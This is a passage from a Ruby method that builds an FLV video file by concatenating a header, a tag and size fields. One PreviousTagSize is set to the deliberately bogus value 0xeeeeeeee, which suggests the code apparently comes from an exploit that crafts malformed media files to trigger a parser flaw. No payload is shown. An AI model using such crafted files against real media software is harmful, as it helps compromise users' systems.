tag1 << "\x00\x00\x00" # StreamID, always 0
tag1 << data
body = ''
body << [0].pack('N') # PreviousTagSize
body << tag1
body << [0xeeeeeeee].pack('N') # PreviousTagSize
flv = ''
flv << header
flv << body
flv
end
end